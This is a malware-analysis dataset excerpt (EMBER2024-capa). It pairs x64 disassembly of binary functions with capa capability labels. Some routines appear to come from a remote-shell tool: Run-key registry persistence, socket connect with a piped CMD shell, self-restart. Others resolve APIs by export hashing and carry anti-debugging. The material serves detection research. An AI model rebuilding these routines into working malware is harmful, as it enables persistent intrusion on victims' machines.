joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400117df
Capabilities:
Query or enumerate registry value

Disassembly:
jmp 0x1400249c0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x158
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x178]
mov rax, qword [0x14003e018]
xor rax, rbp
mov qword [rbp + 0x118], rax
lea rcx, [0x14004714c]
call fcn.140011ded
mov dword [rbp + 4], 0
mov dword [rbp + 0x24], 0
mov qword [rbp + 0x48], 0
lea rax, [rbp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rdx, qword [rbp + 0x148]
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x140024a97
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [rbp + 4]
xor r8d, r8d
mov rdx, qword [rbp + 0x150]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x140024a91
mov al, 1
jmp 0x140024a99
xor al, al
jmp 0x140024a99
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x1400362b0]
call fcn.140011bb3
mov rax, rdi
mov rcx, qword [rbp + 0x118]
xor rcx, rbp
call fcn.140011730
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret

Function at 0x140011807
Capabilities:
Create process on windows

Disassembly:
jmp 0x140025000
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1d8
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x32
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1f8]
mov rax, qword [0x14003e018]
xor rax, rbp
mov qword [rbp + 0x178], rax
lea rcx, [0x14004714c]
call fcn.140011ded
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x10]
call fcn.140011ab9
mov dword [rbp + 0x10], 0x68
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 0x98]
call fcn.140011ab9
lea rax, [rbp + 0x98]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x1a8]
mov rcx, qword [rbp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x50]
lea rdx, [0x1400367c0]
call fcn.140011bb3
mov rcx, qword [rbp + 0x178]
xor rcx, rbp
call fcn.140011730
lea rsp, [rbp + 0x188]
pop rdi
pop rbp
ret
Function at 0x140011843
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
jmp 0x140024d60
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x768
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x136
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x788]
mov rax, qword [0x14003e018]
xor rax, rbp
mov qword [rbp + 0x708], rax
lea rcx, [0x14004714c]
call fcn.140011ded
mov qword [rbp + 8], 0
mov dword [rbp + 0x24], 0
mov qword [rbp + 0x88], 0x208
lea rax, [rbp + 0xb0]
mov rdi, rax
xor eax, eax
mov ecx, 0x410
rep stosb byte [rdi], al
lea r8, [0x140036968]
mov edx, 0x208
lea rcx, [rbp + 0xb0]
call qword [sym.imp.ucrtbased.dll_wcscpy_s]
mov r8, qword [rbp + 0x738]
mov edx, 0x208
lea rcx, [rbp + 0xb0]
call qword [sym.imp.ucrtbased.dll_wcscat_s]
lea r8, [0x14003696c]
mov edx, 0x208
lea rcx, [rbp + 0xb0]
call qword [sym.imp.ucrtbased.dll_wcscat_s]
cmp qword [rbp + 0x740], 0
je 0x140024e4e
mov r8, qword [rbp + 0x740]
mov edx, 0x208
lea rcx, [rbp + 0xb0]
call qword [sym.imp.ucrtbased.dll_wcscat_s]
mov qword [rsp + 0x40], 0
lea rax, [rbp + 8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2001f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140036980]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x140024ea8
mov dword [rbp + 0x704], 1
jmp 0x140024eb2
mov dword [rbp + 0x704], 0
movzx eax, byte [rbp + 0x704]
mov byte [rbp + 0x44], al
movzx eax, byte [rbp + 0x44]
test eax, eax
je 0x140024f2f
lea rcx, [rbp + 0xb0]
call qword [sym.imp.ucrtbased.dll_wcslen]
lea rax, [rax + rax + 2]
mov dword [rbp + 0x64], eax
mov eax, dword [rbp + 0x64]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
mov rdx, qword [rbp + 0x730]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x140024f1b
mov dword [rbp + 0x704], 1
jmp 0x140024f25
mov dword [rbp + 0x704], 0
movzx eax, byte [rbp + 0x704]
mov byte [rbp + 0x44], al
cmp qword [rbp + 8], 0
je 0x140024f48
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rbp + 8], 0
movzx eax, byte [rbp + 0x44]
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, [0x140036380]
call fcn.140011bb3
mov eax, edi
mov rcx, qword [rbp + 0x708]
xor rcx, rbp
call fcn.140011730
lea rsp, [rbp + 0x718]
pop rdi
pop rbp
ret

Function at 0x14001184d
Capabilities:
Terminate process

Disassembly:
jmp 0x140029650
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140011938
Capabilities:
Terminate process

Disassembly:
jmp 0x140023ff0
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x20]
lea rcx, [0x14004714c]
call fcn.140011ded
lea rax, [rbp + 0xc8]
mov qword [rbp + 0x108], rax
lea rdx, str.Termination_requested:_Killing_self
mov rcx, qword [rbp + 0x108]
call fcn.1400116a9
mov qword [rbp + 0x118], rax
mov r8d, 2
mov rdx, qword [rbp + 0x118]
mov rcx, qword [0x14003e720]
call fcn.14001155f
mov rcx, qword [0x14003e720]
call fcn.140011abe
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret

Function at 0x140011a05
Capabilities:
Parse pe header

Disassembly:
jmp 0x14002bfe0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14002c000
xor al, al
jmp 0x14002c081
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14002c013
xor al, al
jmp 0x14002c081
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14002c03d
xor al, al
jmp 0x14002c081
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14002c051
xor al, al
jmp 0x14002c081
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14002c063
xor al, al
jmp 0x14002c081
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14002c07f
xor al, al
jmp 0x14002c081
mov al, 1
add rsp, 0x38
ret
Function at 0x140011be0
Capabilities:
Read file on windows
Read pipe

Disassembly:
jmp 0x14001f390
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x278
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x62
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x298]
mov rax, qword [0x14003e018]
xor rax, rbp
mov qword [rbp + 0x238], rax
mov dword [rbp + 0x224], 0
lea rcx, [0x140047090]
call fcn.140011ded
movzx eax, byte [0x14003e758]
test eax, eax
je 0x14001f550
mov dword [rbp + 4], 0
mov dword [rbp + 0x24], 0
mov dword [rbp + 0x44], 0
movzx eax, byte [0x140035d61]
mov byte [rbp + 0x70], al
lea rax, [rbp + 0x71]
mov rdi, rax
xor eax, eax
mov ecx, 0x7f
rep stosb byte [rdi], al
lea rcx, [rbp + 0x108]
call fcn.140011dca
nop
mov qword [rsp + 0x28], 0
lea rax, [rbp + 4]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rax, qword [rbp + 0x260]
mov rcx, qword [rax + 0x10]
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rbp + 4], 0
jbe 0x14001f433
mov eax, dword [rbp + 4]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jle 0x14001f517
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x24]
mov r8d, 0x7f
lea rdx, [rbp + 0x70]
mov rax, qword [rbp + 0x260]
mov rcx, qword [rax + 0x10]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, 1
imul rax, rax, 0x7f
mov qword [rbp + 0x208], rax
cmp qword [rbp + 0x208], 0x80
jae 0x14001f4c6
jmp 0x14001f4cb
call fcn.140011a55
mov rax, qword [rbp + 0x208]
mov byte [rbp + rax + 0x70], 0
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x108]
call fcn.140011131
mov eax, dword [rbp + 0x24]
mov ecx, dword [rbp + 0x44]
sub ecx, eax
mov eax, ecx
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jg 0x14001f501
mov dword [rbp + 0x44], 0
mov r8d, 0x80
xor edx, edx
lea rcx, [rbp + 0x70]
call fcn.140011ab9
jmp 0x14001f475
lea rdx, [rbp + 0x108]
mov rcx, qword [rbp + 0x268]
call fcn.140011d16
mov eax, dword [rbp + 0x224]
or eax, 1
mov dword [rbp + 0x224], eax
lea rcx, [rbp + 0x108]
call fcn.1400112f8
mov rax, qword [rbp + 0x268]
jmp 0x14001f579
lea rdx, str.CMD_is_not_open
mov rcx, qword [rbp + 0x268]
call fcn.1400116a9
mov eax, dword [rbp + 0x224]
or eax, 1
mov dword [rbp + 0x224], eax
mov rax, qword [rbp + 0x268]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, reloc.WS2_32.dll_connect
call fcn.140011bb3
mov rax, rdi
mov rcx, qword [rbp + 0x238]
xor rcx, rbp
call fcn.140011730
lea rsp, [rbp + 0x248]
pop rdi
pop rbp
ret
Function at 0x140011c7b
Capabilities:
Connect socket
Create thread

Disassembly:
jmp 0x140019300
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xf8
lea rbp, [rsp + 0x30]
lea rcx, [0x14004703d]
call fcn.140011ded
xor r8d, r8d
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov rcx, qword [rbp + 0xe0]
mov qword [rcx + 0x2250], rax
mov rax, qword [rbp + 0xe0]
add rax, 0x2258
mov r8d, reloc.WS2_32.dll_recv
mov rdx, rax
mov rax, qword [rbp + 0xe0]
mov rcx, qword [rax + 0x2250]
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x140019372
xor al, al
jmp 0x1400193a0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400113d4]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov byte [0x14003e728], 1
mov al, 1
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret
Function at 0x140011cbc
Capabilities:
Write file on windows

Disassembly:
jmp 0x14001f630
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x208
lea rbp, [rsp + 0x30]
lea rcx, [0x140047090]
call fcn.140011ded
movzx eax, byte [0x14003e758]
test eax, eax
je 0x14001f748
mov dl, 0xa
mov rcx, qword [rbp + 0x1f8]
call fcn.1400117c6
mov rcx, qword [rbp + 0x1f8]
call fcn.140011a50
mov qword [rbp + 0x1b8], rax
mov rcx, qword [rbp + 0x1f8]
call fcn.140011177
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov rcx, qword [rbp + 0x1b8]
mov r8d, ecx
mov rdx, rax
mov rax, qword [rbp + 0x1f0]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x14001f746
lea rax, [rbp + 0xc8]
mov qword [rbp + 0x108], rax
mov r8, qword [rbp + 0x1f8]
lea rdx, str.Couldnt_write_command_
lea rcx, [rbp + 0x128]
call fcn.1400110a0
mov qword [rbp + 0x1b8], rax
mov rax, qword [rbp + 0x1b8]
mov qword [rbp + 0x1c0], rax
lea r8, str._to_stdIn.
mov rdx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x108]
call fcn.140011ce4
mov qword [rbp + 0x1c8], rax
mov r8d, 2
mov rdx, qword [rbp + 0x1c8]
mov rcx, qword [0x14003e720]
call fcn.14001155f
nop
lea rcx, [rbp + 0x128]
call fcn.1400112f8
jmp 0x14001f78a
lea rax, [rbp + 0x168]
mov qword [rbp + 0x1a8], rax
lea rdx, str.Couldnt_write_to_CMD:_CMD_not_open
mov rcx, qword [rbp + 0x1a8]
call fcn.1400116a9
mov qword [rbp + 0x1b8], rax
mov r8d, 2
mov rdx, qword [rbp + 0x1b8]
mov rcx, qword [0x14003e720]
call fcn.14001155f
nop
mov rcx, qword [rbp + 0x1f8]
call fcn.1400112f8
lea rsp, [rbp + 0x1d8]
pop rdi
pop rbp
ret
Function at 0x140011dbb
Capabilities:
Write file on windows

Disassembly:
jmp 0x14001a290
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1e8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x3e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x208]
mov rax, qword [0x14003e018]
xor rax, rbp
mov qword [rbp + 0x1a0], rax
lea rcx, [0x140047037]
call fcn.140011ded
mov rax, qword [rbp + 0x1d0]
cmp qword [rax + 0x68], 0
je 0x14001a2f6
mov rax, qword [rbp + 0x1d0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x14001a2fd
mov al, 1
jmp 0x14001a457
call fcn.140011433
mov rcx, qword [rbp + 0x1d0]
mov rcx, qword [rcx]
mov qword [rbp + 0x198], rcx
mov edx, eax
mov rcx, qword [rbp + 0x1d0]
mov rax, qword [rbp + 0x198]
call qword [rax + 0x18]
mov dword [rbp + 0x164], eax
call fcn.140011433
mov dword [rbp + 0x184], eax
lea rdx, [rbp + 0x164]
lea rcx, [rbp + 0x184]
call fcn.140011bd1
movzx eax, al
test eax, eax
je 0x14001a358
xor al, al
jmp 0x14001a457
mov qword [rbp + 8], 0x20
lea rax, [rbp + 0x48]
mov rcx, qword [rbp + 0x1d0]
add rcx, 0x74
lea rdx, [rbp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rbp + 0x28]
mov rdx, rcx
mov rax, qword [rbp + 0x1d0]
mov rcx, qword [rax + 0x68]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rbp + 0x194], eax
cmp dword [rbp + 0x194], 0
je 0x14001a3bd
cmp dword [rbp + 0x194], 1
je 0x14001a3c8
cmp dword [rbp + 0x194], 3
je 0x14001a446
jmp 0x14001a455
mov rax, qword [rbp + 0x1d0]
mov byte [rax + 0x71], 0
lea rax, [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jbe 0x14001a418
mov rax, qword [rbp + 0x1d0]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x88]
mov edx, 1
lea rcx, [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_fwrite]
cmp qword [rbp + 0x88], rax
je 0x14001a418
xor al, al
jmp 0x14001a457
mov rax, qword [rbp + 0x1d0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x14001a433
mov dword [rbp + 0x194], 1
jmp 0x14001a43d
mov dword [rbp + 0x194], 0
movzx eax, byte [rbp + 0x194]
jmp 0x14001a457
mov rax, qword [rbp + 0x1d0]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x14001a457
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x1400349d0]
call fcn.140011bb3
mov rax, rdi
mov rcx, qword [rbp + 0x1a0]
xor rcx, rbp
call fcn.140011730
lea rsp, [rbp + 0x1b8]
pop rdi
pop rbp
ret

Function at 0x140011e6f
Capabilities:
Terminate process

Disassembly:
jmp 0x140024b10
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x20]
lea rcx, [0x14004714c]
call fcn.140011ded
lea rax, [rbp + 0xc8]
mov qword [rbp + 0x108], rax
lea rdx, str.Restart_requested:_Restarting_self
mov rcx, qword [rbp + 0x108]
call fcn.1400116a9
mov qword [rbp + 0x118], rax
mov r8d, 2
mov rdx, qword [rbp + 0x118]
mov rcx, qword [0x14003e720]
call fcn.14001155f
lea rcx, [0x14003e788]
call fcn.140011177
xor edx, edx
mov rcx, rax
call fcn.140011807
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x140131b78
Capabilities:
Contain obfuscated stackstrings
Execute anti-debugging instructions
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
rol r11d, 0xd9
rol r14d, 0x99
movabs rsi, 0x2f6a3600000120e9
jge 0x140132158
add r8d, 0x4fe87ef1
call rax
call fcn.140132502
mul r14
mul r11
test esp, ecx
add byte [rax], al
add byte [rbp + rcx*4 - 0x7b], cl
fadd dword [rax]
add byte [rax], al
Function at 0x140001fb0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140007dd0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140007dd0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140002020
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000e0a4]
mov rbx, rcx
test esi, esi
jle 0x140002150
mov rax, qword [0x14000e0a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000206b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400020f5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140002050
mov rcx, rbx
call fcn.140002a90
mov rdi, rax
test rax, rax
je 0x140002172
mov rax, qword [0x14000e0a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002bd0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000e0a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002157
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x1400020ee
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140002100
add dword [0x14000e0a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000e0a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400020ee
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001fb0
nop dword [rax]
xor esi, esi
jmp 0x140002078
mov rax, qword [0x14000e0a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001fb0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140001fb0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002700
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000e100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000e0e0]
test rbx, rbx
je 0x14000275c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140002753
test eax, eax
jne 0x140002753
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002738
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002a90
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000ab50]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002ab0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002ab8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002ab0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140002b0d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002b04
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002ab0
add rax, 0x28
cmp rax, r9
jne 0x140002af0
xor eax, eax
ret

Function at 0x140002b10
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000ab50]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140002b2f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002b38
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002b2f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002bd0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000ab50]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140002bef
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002bf8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140001030
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push rbx
push rbp
sub rsp, 8
mov ebp, edx
mov rbx, rcx
test rcx, rcx
je 0x140001149
test edx, edx
je 0x140001149
mov eax, dword [rcx + 0x3c]
mov ecx, dword [rax + rcx + 0x88]
test ecx, ecx
je 0x140001149
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x30], r12
mov r12d, dword [rcx + rbx + 0x24]
mov qword [rsp + 0x38], r14
add r12, rbx
mov r14d, dword [rcx + rbx + 0x20]
mov qword [rsp], r15
add r14, rbx
mov r15d, dword [rcx + rbx + 0x1c]
add r15, rbx
xor r11d, r11d
nop dword [rax]
nop word [rax + rax]
mov edi, dword [r14 + r11*4]
xor r10d, r10d
add rdi, rbx
mov eax, 0xad910666
movzx r9d, byte [rdi]
test r9b, r9b
je 0x140001100
nop dword [rax + rax]
movzx r8d, r9b
lea r10d, [r10 + 1]
sub r9b, 0x41
cmp r9b, 0x19
movzx r9d, byte [r10 + rdi]
lea ecx, [r8 + 0x20]
movzx edx, cl
cmova edx, r8d
imul ecx, eax, 0xad910666
movsx r8d, dl
xor r8d, ecx
imul eax, r8d, 0xad910666
shr r8d, 9
xor eax, r8d
test r9b, r9b
jne 0x1400010c0
mov ecx, eax
shl ecx, 0xd
xor eax, ecx
mov ecx, eax
shr ecx, 7
add eax, ecx
mov ecx, eax
shl ecx, 0xf
xor ecx, eax
cmp ecx, ebp
je 0x14000111e
inc r11d
jmp 0x1400010a0
movzx eax, word [r12 + r11*2]
mov r14, qword [rsp + 0x38]
mov r12, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x28]
mov eax, dword [r15 + rax*4]
mov r15, qword [rsp]
add rax, rbx
mov rsi, qword [rsp + 0x20]
add rsp, 8
pop rbp
pop rbx
ret
xor eax, eax
add rsp, 8
pop rbp
pop rbx
ret
Function at 0x140001ce4
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140001d53
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001d53
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001d53
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001d53
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001d53
cmp dword [rcx + 0x84], 0xe
jbe 0x140001d53
cmp dword [rcx + 0xf8], 0
je 0x140001d53
mov ecx, ebx
call fcn.140001e04
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140001be0
nop
cmp dword [rbp + 0x20], 0
je 0x140001da1
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140001dac
int3
xor r8d, r8d
lea edx, [r8 + 2]
jmp 0x140001ce4

Function at 0x140005040
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140005068
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140005068
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret